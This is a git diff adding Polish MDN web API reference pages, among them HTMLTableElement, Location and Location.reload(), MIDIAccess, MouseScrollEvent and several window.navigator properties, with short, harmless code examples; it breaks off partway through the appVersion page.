b/files/pl/web/api/htmltableelement/index.html @@ -0,0 +1,72 @@ +--- +title: HTMLTableElement +slug: Web/API/HTMLTableElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLTableElement +--- +<div>{{ ApiRef() }}</div> + +<h2 id="Interfejs_elementu_HTML_Table" name="Interfejs_elementu_HTML_Table">Interfejs elementu HTML Table</h2> + +<p>Obiekt <code>table</code> pozwala na dostęp do interfejsu <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425"><code>HTMLTableElement</code></a>, który udostępnia specjalne własności i metody (będące poza zwykłym interfejsem obiektu <a href="/pl/docs/DOM/element"><code>element</code></a>; własności i metody <a href="/pl/docs/DOM/element">elementu</a> dostępne są poprzez dziedziczenie) do ustawiania układu i wyglądu tabel w języku HTML.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{domxref("HTMLTableElement.caption")}}</dt> + <dd>opis tabeli.</dd> + <dt>{{domxref("HTMLTableElement.tHead")}}</dt> + <dd>nagłówek tabeli.</dd> + <dt>{{domxref("HTMLTableElement.tFoot")}}</dt> + <dd>stopka tabeli.</dd> + <dt>{{domxref("HTMLTableElement.rows")}} {{readonlyInline}}</dt> + <dd><b>rows</b> - liczba wierszy tabeli.</dd> + <dt>{{domxref("HTMLTableElement.tBodies")}} {{readonlyInline}}</dt> + <dd>'ciała' tabeli (tbody).</dd> +</dl> + +<dl> + <dt>{{domxref("HTMLTableElement.align")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera wyrównanie tabeli.</dd> + <dt>{{domxref("HTMLTableElement.bgColor")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera kolor tła tabeli.</dd> + <dt>{{domxref("HTMLTableElement.border")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera obramowanie tabeli.</dd> + <dt>{{domxref("HTMLTableElement.cellPadding")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera dopełnienie komórki.</dd> + <dt>{{domxref("HTMLTableElement.cellSpacing")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera odstępy pomiędzy komórkami.</dd> + <dt>{{domxref("HTMLTableElement.frame")}} {{obsolete_inline}}</dt> + <dd>określa które krawędzie tabeli mają obramowanie.</dd> + <dt>{{domxref("HTMLTableElement.rules")}} {{obsolete_inline}}</dt> + <dd>określa które wewnętrzne krawędzie są widoczne.</dd> + <dt>{{domxref("HTMLTableElement.summary")}} {{obsolete_inline}}</dt> + <dd><b>u</b>stawia/pobiera podsumowanie tabeli.</dd> + <dt>{{domxref("HTMLTableElement.width")}} {{obsolete_inline}}</dt> + <dd>ustawia/pobiera szerokość tabeli.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{domxref("HTMLTableElement.createTHead()")}}</dt> + <dd>tworzy nagłówek tabeli.</dd> + <dt>{{domxref("HTMLTableElement.deleteTHead()")}}</dt> + <dd>usuwa nagłówek tabeli.</dd> + <dt>{{domxref("HTMLTableElement.createTFoot()")}}</dt> + <dd>tworzy stopkę tabeli.</dd> + <dt>{{domxref("HTMLTableElement.deleteTFoot()")}}</dt> + <dd>usuwa stopkę tabeli.</dd> + <dt>{{domxref("HTMLTableElement.createCaption()")}}</dt> + <dd>tworzy nowy opis tabeli.</dd> + <dt>{{domxref("HTMLTableElement.deleteCaption()")}}</dt> + <dd>usuwa opis tabeli.</dd> + <dt>{{domxref("HTMLTableElement.insertRow()")}}</dt> + <dd>wstawia nowy wiersz.</dd> + <dt>{{domxref("HTMLTableElement.deleteRow()")}}</dt> + <dd>usuwa wiersz.</dd> +</dl> diff --git a/files/pl/web/api/htmltableelement/tfoot/index.html b/files/pl/web/api/htmltableelement/tfoot/index.html new file mode 100644 index 0000000000..2d7467db81 --- /dev/null +++ b/files/pl/web/api/htmltableelement/tfoot/index.html @@ -0,0 +1,39 @@ +--- +title: HTMLTableElement.tFoot +slug: Web/API/HTMLTableElement/tFoot +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLTableElement/tFoot +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>tFoot</b> zwraca element TFOOT tabeli.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>HTMLTableSectionElementObject</i> = table.tFoot +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if (table.tFoot == my_foot) { + ... +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ta własność zwraca VOID, jeśli nie istnieje element TFOOT.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64197097">tfoot</a></p> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-67417573">Interface HTMLTableSectionElement</a></p> + +<p>{{ languages( { "en": "en/DOM/table.tFoot" } ) }}</p> diff --git a/files/pl/web/api/htmltableelement/thead/index.html b/files/pl/web/api/htmltableelement/thead/index.html new file mode 100644 index 0000000000..413fe6fde1 --- /dev/null +++ b/files/pl/web/api/htmltableelement/thead/index.html @@ -0,0 +1,45 @@ +--- +title: HTMLTableElement.tHead +slug: Web/API/HTMLTableElement/tHead +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLTableElement/tHead +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>tHead</b> zwraca THEAD (nagłówek) tabeli.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>th_el</i> = table.tHead +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>th_el</code> jest <a href="pl/HTMLTableSectionElement">HTMLTableSectionElement</a>.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if (table.tHead == my_head_el) { + ... +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ta własność zwraca VOID, jeśli nie istnieje element THEAD.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-9530944">thead</a></p> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-67417573">Interface HTMLTableSectionElement</a></p> + +<p>{{ languages( { "en": "en/DOM/table.tHead" } ) }}</p> diff --git a/files/pl/web/api/index.html b/files/pl/web/api/index.html new file mode 100644 index 0000000000..2a13d2b016 --- /dev/null +++ b/files/pl/web/api/index.html @@ -0,0 +1,11 @@ +--- +title: Lista Web API +slug: Web/API +tags: + - NeedsTranslation + - TopicStub +translation_of: Web/API +--- +<p>Kiedy piszemy kod w JavaScript dla sieci Web, możemy użyć wielu przydatnych API. Poniżej znajduje się lista dostępnych interfejsów (dokładnie, typów obiektów), które możesz wykorzystać podczas budowy swojej strony czy aplikacji internetowej.</p> + +<div>{{APIListAlpha}}</div> diff --git a/files/pl/web/api/location/index.html b/files/pl/web/api/location/index.html new file mode 100644 index 0000000000..537d3bc90a --- /dev/null +++ b/files/pl/web/api/location/index.html @@ -0,0 +1,114 @@ +--- +title: Location +slug: Web/API/Location +tags: + - API + - HTML DOM + - Interface + - Location + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/Location +--- +<p>{{APIRef("HTML DOM")}}</p> + +<p>The <strong><code>Location</code></strong> interface represents the location (URL) of the object it is linked to. Changes done on it are reflected on the object it relates to. Both the {{domxref("Document")}} and {{domxref("Window")}} interface have such a linked <code>Location</code>, accessible via {{domxref("Document.location")}} and {{domxref("Window.location")}} respectively.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>The <code>Location</code></em><em> interface doesn't inherit any property, but implements those from {{domxref("URLUtils")}}.</em></p> + +<dl> + <dt>{{domxref("Location.href")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the entire URL. If changed, the associated document navigates to the new page. It can be set from a different origin than the associated document.</dd> + <dt>{{domxref("Location.protocol")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd> + <dt>{{domxref("Location.host")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd> + <dt>{{domxref("Location.hostname")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd> + <dt>{{domxref("Location.port")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd> + <dt>{{domxref("Location.pathname")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd> + <dt>{{domxref("Location.search")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters or "querystring" of the URL. Modern browsers provide <a href="/en-US/docs/Web/API/URLSearchParams/get#Example">URLSearchParams</a> and <a href="/en-US/docs/Web/API/URL/searchParams#Example">URL.searchParams</a> to make it easy to parse out the parameters from the querystring.</dd> + <dt>{{domxref("Location.hash")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd> + <dt>{{domxref("Location.username")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd> + <dt>{{domxref("Location.password")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd> + <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt> + <dd>Returns a {{domxref("DOMString")}} containing the canonical form of the origin of the specific location.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>The <code>Location</code></em><em> interface doesn't inherit any method<em>, but implements those from {{domxref("URLUtils")}}</em>.</em></p> + +<dl> + <dt>{{domxref("Location.assign()")}}</dt> + <dd>Loads the resource at the URL provided in parameter.</dd> + <dt>{{domxref("Location.reload()")}}</dt> + <dd>Reloads the resource from the current URL. Its optional unique parameter is a {{domxref("Boolean")}}, which, when it is <code>true</code>, causes the page to always be reloaded from the server. If it is <code>false</code> or not specified, the browser may reload the page from its cache.</dd> + <dt>{{domxref("Location.replace()")}}</dt> + <dd>Replaces the current resource with the one at the provided URL. The difference from the <code>assign()</code> method is that after using <code>replace()</code> the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the <em>back</em> button to navigate to it.</dd> + <dt>{{domxref("Location.toString()")}}</dt> + <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">// Create anchor element and use href property for the purpose of this example +// A more correct alternative is to browse to the URL and use document.location or window.location +var url = document.createElement('a'); +url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container'; +console.log(url.href); // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container +console.log(url.protocol); // https: +console.log(url.host); // developer.mozilla.org:8080 +console.log(url.hostname); // developer.mozilla.org +console.log(url.port); // 8080 +console.log(url.pathname); // /en-US/search +console.log(url.search); // ?q=URL +console.log(url.hash); // #search-results-close-container +console.log(url.origin); // https://developer.mozilla.org +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from {{SpecName("HTML5 W3C")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Location")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Two methods creating such an object: {{domxref("Window.location")}} and {{domxref("Document.location")}}.</li> + <li>URL related interfaces: {{domxref("URL")}}, {{domxref("URLSearchParams")}} and {{domxref("HTMLHyperlinkElementUtils")}}</li> +</ul> diff --git a/files/pl/web/api/location/reload/index.html b/files/pl/web/api/location/reload/index.html new file mode 100644 index 0000000000..fc859dbfd3 --- /dev/null +++ b/files/pl/web/api/location/reload/index.html @@ -0,0 +1,67 @@ +--- +title: Location.reload() +slug: Web/API/Location/reload +tags: + - API + - HTML-DOM + - Location + - Metodă +translation_of: Web/API/Location/reload +--- +<p>{{ APIRef("HTML DOM") }}</p> + +<p>Metoda <code><strong>Location.reload()</strong></code> ponownie ładuje zasób z bieżącego adresu URL. Jej opcjonalnym i jednocześnie unikalnym parametrem jest parametr {{domxref("Boolean")}}. Jeśli przyjmie on wartość <code>true</code>, powoduje zawsze ponownie ładowanie strony z serwera. Jeśli jego wartość wynosi <code>false</code> lub nie jest zdefiniowana, przeglądarka<span id="result_box" lang="pl"><span> może ponownie załadować stronę z pamięci podręcznej.</span></span> <span id="result_box" lang="pl"><span>Poza domyślnym zachowaniem pamięci cache, flaga </span></span><code>forcedReload</code><span lang="pl"><span> wpływa również na to, jak niektóre przeglądarki obsługują pozycję przewijania strony: zwykłe przeładowanie próbuje przywrócić pozycję przewijania po ponownym załadowaniu strony, natomiast w trybie wymuszonym (gdy parametr jest ustawiony na wartość </span></span><code>true</code><span lang="pl"><span>) nowy DOM zostaje wczytany ze </span></span><code>scrollTop == 0</code>.</p> + +<p>Jeśli przypisanie nie może się wydarzyć z powodu naruszenia bezpieczeństwa, zostanie zgłoszony wyjątek {{domxref("DOMException")}} typu <code>SECURITY_ERROR</code>. Dzieje się tak, gdy pochodzenie skryptu wywołującego metodę różni się od pochodzenia strony opisanej przez obiekt {{domxref("Location")}} (zazwyczaj kiedy skrypt jest hostowany na innej domenie).</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em>object</em>.reload(<em>forcedReload</em>); +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><em>forcedReload</em> {{optional_inline}}</dt> + <dd>Jest flagą {{domxref("Boolean")}}, która przyjmując wartość <code>true</code>, zawsze powoduje przeładowanie strony z serwera. Jeśli jej wartość to <code>false</code> lub nie została ona zdefiniowana, przeglądarka może wczytać stronę z pamięci podręczniej (pamięci cache).</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">// Przeładuj bieżącą stronę bez cache +window.location.reload(true);</pre> + +<h2 id="Lista_specyfikacji">Lista specyfikacji</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Bez zmian od {{SpecName("HTML5 W3C")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Początkowa definicja.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + +<div class="hidden"><span id="result_box" lang="pl"><span>Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span>Jeśli chcesz przyczynić się do współtworzenia danych, sprawdź </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span id="result_box" lang="pl"><span>i wyślij nam pull requesta.</span></span></div> + +<p>{{Compat("api.Location.reload")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Interfejs {{domxref("Location")}}.</li> + <li>Podobne metody: {{domxref("Location.assign()")}} i {{domxref("Location.replace()")}}.</li> +</ul> diff --git a/files/pl/web/api/mediaelementaudiosourcenode/index.html b/files/pl/web/api/mediaelementaudiosourcenode/index.html new file mode 100644 index 0000000000..81bbce3c25 --- /dev/null +++ b/files/pl/web/api/mediaelementaudiosourcenode/index.html @@ -0,0 +1,84 @@ +--- +title: MediaElementAudioSourceNode +slug: Web/API/MediaElementAudioSourceNode +translation_of: Web/API/MediaElementAudioSourceNode +--- +<p>{{APIRef("Web Audio API")}}</p> + +<div> +<p>The <code>MediaElementAudioSourceNode</code> interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.</p> +</div> + +<p>A <code>MediaElementSourceNode</code> has no inputs and exactly one output, and is created using the {{domxref("AudioContext.createMediaElementSource")}} method. The amount of channels in the output equals the number of channels of the audio referenced by the {{domxref("HTMLMediaElement")}} used in the creation of the node, or is 1 if the {{domxref("HTMLMediaElement")}} has no audio.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Number of inputs</th> + <td><code>0</code></td> + </tr> + <tr> + <th scope="row">Number of outputs</th> + <td><code>1</code></td> + </tr> + <tr> + <th scope="row">Channel count</th> + <td>defined by the media in the {{domxref("HTMLMediaElement")}} passed to the {{domxref("AudioContext.createMediaElementSource")}} method that created it.</td> + </tr> + </tbody> +</table> + +<h2 id="Constructor">Constructor</h2> + +<dl> + <dt>{{domxref("MediaElementAudioSourceNode.MediaElementAudioSourceNode", "MediaElementAudioSourceNode()")}}</dt> + <dd>Creates a new <code>MediaElementAudioSourceNode</code> object instance.</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p> + +<dl> + <dt>{{domxref("MediaElementAudioSourceNode.mediaElement", "mediaElement")}} {{ReadOnlyInline}}</dt> + <dd>The {{domxref("HTMLMediaElement")}} used when constructing this <code>MediaStreamAudioSourceNode</code>.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p> + +<h2 id="Example">Example</h2> + +<p>{{page("/en-US/docs/Web/API/AudioContext.createMediaElementSource","Example")}}</p> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#mediaelementaudiosourcenode', 'MediaElementAudioSourceNode')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("api.MediaElementAudioSourceNode")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> +</ul> diff --git a/files/pl/web/api/midiaccess/index.html b/files/pl/web/api/midiaccess/index.html new file mode 100644 index 0000000000..6155b26b02 --- /dev/null +++ b/files/pl/web/api/midiaccess/index.html @@ -0,0 +1,70 @@ +--- +title: MIDIAccess +slug: Web/API/MIDIAccess +tags: + - API + - Interfejs +translation_of: Web/API/MIDIAccess +--- +<p>{{SeeCompatTable}}{{APIRef("Web MIDI API")}} </p> + +<p>Interfejs <strong><code>MIDIAccess</code></strong> pochodzący z <a href="/en-US/docs/Web/API/Web_MIDI_API">Web MIDI API</a>, dostarcza metod wyliczania urządzeń wejściowych i wyjściowych MIDI oraz dostępu do tych urządzeń.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{domxref("MIDIAccess.inputs")}} {{readonlyinline}}</dt> + <dd>Zwraca instancję {{domxref("MIDIInputMap")}} dostarczając metod dostępu do wszystkich dostępnych portów wejśiowych MIDI.</dd> + <dt>{{domxref("MIDIAccess.outputs")}} {{readonlyinline}}</dt> + <dd>Zwraca instancję {{domxref("MIDIOutputMap")}} dostarczając metod dostępu do wszystkich dostępnych portów wyjśiowych MIDI.</dd> + <dt>{{domxref("MIDIAccess.sysexEnabled")}} {{readonlyinline}}</dt> + <dd>Parametr zerojedynkowy, wskazujący na wsparcie system exclusive dla obecnej instancji MIDIAccess.</dd> +</dl> + +<h3 id="Procedury_obsługi_zdarzeń">Procedury obsługi zdarzeń</h3> + +<dl> + <dt>{{domxref("MIDIAccess.onstatechange")}}</dt> + <dd>Jest wywoływana za każdym razem, gdy nowy port MIDI zostaniedodany lub nastąpi zmiana stanu istniejącego portu.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">navigator.requestMIDIAccess() + .then(function(access) { + + // Get lists of available MIDI controllers + const inputs = access.inputs.values(); + const outputs = access.outputs.values(); + + access.onstatechange = function(e) { + + // Print information about the (dis)connected MIDI controller + console.log(e.port.name, e.port.manufacturer, e.port.state); + }; + });</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('WebMIDI API','#midiaccess-interface')}}</td> + <td>{{Spec2('WebMIDI API')}}</td> + <td>Definicja wstępna.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{Compat("api.MIDIAccess")}}</p> + +<div></div> + +<div id="compat-mobile"></div> diff --git a/files/pl/web/api/mousescrollevent/index.html b/files/pl/web/api/mousescrollevent/index.html new file mode 100644 index 0000000000..ed0ab35316 --- /dev/null +++ b/files/pl/web/api/mousescrollevent/index.html @@ -0,0 +1,126 @@ +--- +title: MouseScrollEvent +slug: Web/API/MouseScrollEvent +translation_of: Web/API/MouseScrollEvent +--- +<p>{{APIRef("DOM Events")}}{{ non-standard_header() }}{{deprecated_header}}</p> + +<p>The DOM <code>MouseScrollEvent</code> represents events that occur due to the user moving a mouse wheel or similar input device.</p> + +<p>Use standardardized {{ domxref("WheelEvent") }} instead of this legacy event object if available.</p> + +<h2 id="Method_overview">Method overview</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td><code>void <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29">initMouseScrollEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in nsIDOMAbstractView viewArg, in long detailArg, in long screenXArg, in long screenYArg, in long clientXArg, in long clientYArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in unsigned short buttonArg, in nsIDOMEventTarget relatedTargetArg, in long axis);</code></td> + </tr> + </tbody> +</table> + +<h2 id="Attributes">Attributes</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Attribute</td> + <td class="header">Type</td> + <td class="header">Description</td> + </tr> + <tr> + <td><code>axis</code></td> + <td><code>long</code></td> + <td>Indicates scroll direction. <strong>Read only.</strong></td> + </tr> + </tbody> +</table> + +<h2 id="Constants">Constants</h2> + +<h3 id="Delta_modes">Delta modes</h3> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Constant</td> + <td class="header">Value</td> + <td class="header">Description</td> + </tr> + <tr> + <td><code>HORIZONTAL_AXIS</code></td> + <td><code>0x01</code></td> + <td>The event is caused by horizontal wheel operation.</td> + </tr> + <tr> + <td><code><code>VERTICAL_AXIS</code></code></td> + <td><code>0x02</code></td> + <td>The event is caused by vertical wheel operation.</td> + </tr> + </tbody> +</table> + +<h2 id="Methods">Methods</h2> + +<h3 id="initMouseScrollEvent()">initMouseScrollEvent()</h3> + +<p>See <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29" title="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29">nsIDOMMouseScrollEvent::initMouseScrollEvent()</a>.</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatGeckoDesktop("1.9.1") }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatGeckoMobile("1.9.1") }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 class="note" id="See_also">See also</h2> + +<ul> + <li><code>DOMMouseScroll</code></li> + <li><code>MozMousePixelScroll</code></li> + <li>Non-gecko browsers' legacy mouse wheel event object: {{ domxref("MouseWheelEvent") }}</li> + <li>Standardized mouse wheel event object: {{ domxref("WheelEvent") }}</li> +</ul> diff --git a/files/pl/web/api/navigator/appcodename/index.html b/files/pl/web/api/navigator/appcodename/index.html new file mode 100644 index 0000000000..ec0da7157c --- /dev/null +++ b/files/pl/web/api/navigator/appcodename/index.html @@ -0,0 +1,30 @@ +--- +title: window.navigator.appCodeName +slug: Web/API/Navigator/appCodeName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appCodeName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">codeName = window.navigator.appCodeName +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>codeName</code> jest wewnętrzną nazwą przeglądarki, zwracaną jako łańcuch znaków.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>dump(window.navigator.appCodeName); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Mozilla, Netscape 6 i IE5 używają wewnętrznej nazwy "Mozilla".</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.navigator.appCodeName", "ja": "ja/DOM/window.navigator.appCodeName" } ) }}</p> diff --git a/files/pl/web/api/navigator/appname/index.html b/files/pl/web/api/navigator/appname/index.html new file mode 100644 index 0000000000..d651ac3682 --- /dev/null +++ b/files/pl/web/api/navigator/appname/index.html @@ -0,0 +1,29 @@ +--- +title: window.navigator.appName +slug: Web/API/Navigator/appName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca oficjalną nazwę przeglądarki.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">appName = window.navigator.appName +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>appName</code> jest nazwą przeglądarki, zwracaną jako łańcuch znaków.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>dump(window.navigator.appName); +// dla NS6 wypisuje w konsoli "Navigator" +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.navigator.appName", "ja": "ja/DOM/window.navigator.appName" } ) }}</p> diff --git a/files/pl/web/api/navigator/appversion/index.html b/files/pl/web/api/navigator/appversion/index.html new file mode 100644 index 0000000000..3d08f23cee --- /dev/null +++ b/files/pl/web/api/navigator/appversion/index.html @@ -0,0 +1,32 @@ +--- +title: window.navigator.appVersion +slug: Web/API/Navigator/appVersion +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appVersion +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wersję przeglądarki jako łańcuch znaków.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">ver = window.navigator.appVersion +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>ver</code> jest numerem wersji przeglądarki, zwracanym jako łańcuch znaków.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>if ( navigator.appVersion.charAt(0) == "5" ) 